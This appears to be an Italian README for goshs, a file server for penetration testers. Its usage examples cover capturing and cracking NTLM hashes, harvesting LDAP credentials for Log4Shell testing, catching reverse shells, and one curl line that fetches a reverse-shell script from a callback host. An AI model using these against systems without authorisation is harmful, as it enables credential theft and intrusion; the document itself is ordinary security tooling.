
goshs v2.1.6
Server di file binario singolo ricco di funzionalità per red teamer e sviluppatori. HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · Cattura di hash NTLM · Callback DNS/SMTP · TLS · Autenticazione · Condivisione di collegamenti. Un potente sostituto di python3 -m http.server.
Sei nel bel mezzo di un engagement. Devi trasferire un file, catturare un hash SMB o avviare rapidamente un server HTTPS — e python3 -m http.server non basta.
goshs è un file server in un unico binario, pensato per i momenti in cui ti serve qualcosa in più del SimpleHTTPServer di Python ma non vuoi configurare Apache. HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S, autenticazione basic, link di condivisione, callback DNS/SMTP, cattura e cracking di hash NTLM — tutto con un solo comando.


Demo
Provalo tu stesso: demo.goshs.de

Avvio rapido
# Serve the current directory on port 8000
goshs
# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password
# Capture SMB hashes
goshs -smb -smb-domain CORP
# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# Self-destruct after 2 hours
goshs --ttl 2h
# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui
# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
Documentazione
Per una documentazione dettagliata vai su docs.goshs.de
Funzionalità
| 📁 Operazioni sui file | Download (ripristinabile e con seek tramite HTTP Range), upload (drag & drop, POST/PUT), eliminazione, ZIP in blocco, codici QR |
| 🔌 Protocolli | HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S |
| 🔒 Autenticazione e sicurezza | Basic auth, autenticazione con certificato, TLS (self-signed, Let's Encrypt, certificato personalizzato), whitelist IP, ACL basate su file |
| ⚙️ Modalità server | Sola lettura, solo upload, senza eliminazione, silenziosa, invisibile, esecuzione di comandi CLI, autodistruzione TTL |
| 🔗 Link di condivisione | Condivisione basata su token, limite di download, limite temporale |
| 🎯 Collaborazione / CTF | Chat di team live (markdown, emoji + autosuggest :shortcodes:, incolla immagini, upload file, reazioni, modifica messaggi, persistenza opzionale su disco — condivisa web ↔ TUI), server DNS, server SMTP, cattura e cracking degli hash NTLM SMB, cattura delle credenziali LDAP + cracking degli hash NTLM (modalità JNDI per Log4Shell), endpoint di redirect, Rev Shell Catcher + generatore di payload |
| 🧩 Templating dei payload | Renderizza {{.LHOST}}/{{.LPORT}} + valori personalizzati --tpl-var nei file serviti su richiesta (?tpl) |
| 🔔 Integrazione | Webhook, tunnel tramite localhost.run, file di configurazione, API JSON, mDNS |
| 🖥️ Dashboard TUI | Dashboard interattiva a schermo intero nel terminale; pannelli live per HTTP, DNS, SMB, LDAP, SMTP, reverse shell e chat di team; collega e aggiorna le shell dal terminale |
| 🛠️ Varie | Temi scuro/chiaro, chat di team, auto-aggiornamento, output dei log, incorporamento di file, drop dei privilegi |
Installazione
| Metodo | |
|---|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali & Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 Release | Scarica da GitHub Releases |
🐚 Completamento shell
goshs può installare il completamento con tab per bash, fish e zsh:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
Su macOS con Homebrew viene utilizzato automaticamente il percorso Homebrew corretto. Dopo l'installazione il comando stampa un'istruzione di attivazione esatta, ad es.:
source ~/.local/share/bash-completion/completions/goshs
🔧 Compila da solo
Le risorse web incluse sono già committate, quindi una build semplice funziona subito:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
Se modifichi i sorgenti JavaScript o SCSS, ricostruisci prima le risorse con esbuild e sass installati:
make generate
go build -o goshs .
Contributori del codice
Contributori alla sicurezza
Questi sono i fantastici contributori che hanno reso goshs ancora più sicuro ❤️